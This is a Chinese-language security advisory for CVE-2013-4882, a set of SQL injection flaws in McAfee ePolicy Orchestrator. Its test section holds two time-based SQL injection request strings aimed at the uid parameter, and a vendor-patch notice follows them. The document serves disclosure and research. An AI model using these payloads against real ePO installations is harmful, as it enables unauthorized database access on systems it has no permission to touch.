发布日期：2013-07-12
更新日期：2013-07-26
受影响系统：
McAfee ePolicy Orchestrator 4.5
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 61421
CVE(CAN) ID: CVE-2013-4882
McAfee ePolicy Orchestrator（ePO）是一种业界领先的系统安全管理解决方案，能够帮助企业有效抵御各种恶意威胁和攻击。
McAfee ePolicy Orchestrator 4.6.6、McAfee Agent (MA) 4.5/4.6的ePolicy Orchestrator (ePO)扩展存在多个SQL注入漏洞，允许经过身份验证的远程用户通过core/showRegisteredTypeDetails.do、EPOAGENTMETA/DisplayMSAPropsDetail.do的uid参数，利用此漏洞执行任意SQL命令。
<*来源：Nuri Fattah
链接：
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
?registeredTypeID=epo.rt.computer&amp;amp;uid=
6waitf or%20delay&amp;#039;0%3a0%3a20&amp;#039;--
&amp;amp;index=0&amp;amp;datasourceID=&amp;amp;orion.user.security.token=2LoWTAOfWJ4ZCjxY&amp;a
mp;ajax Mode=standard HTTP/1.1
?registeredTypeID=epo.rt.computer
&amp;amp;uid=1;%20WAITFOR%20DELAY%20&amp;#039;0:0:0&amp;#039;;--
&amp;amp;datasourceID=ListDataSource.orion.dashboard.chart.datasource.core.query Factory
%3Aquery.2&amp;amp;index=0 HTTP/1.1
建议：
--------------------------------------------------------------------------------
厂商补丁：
McAfee
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：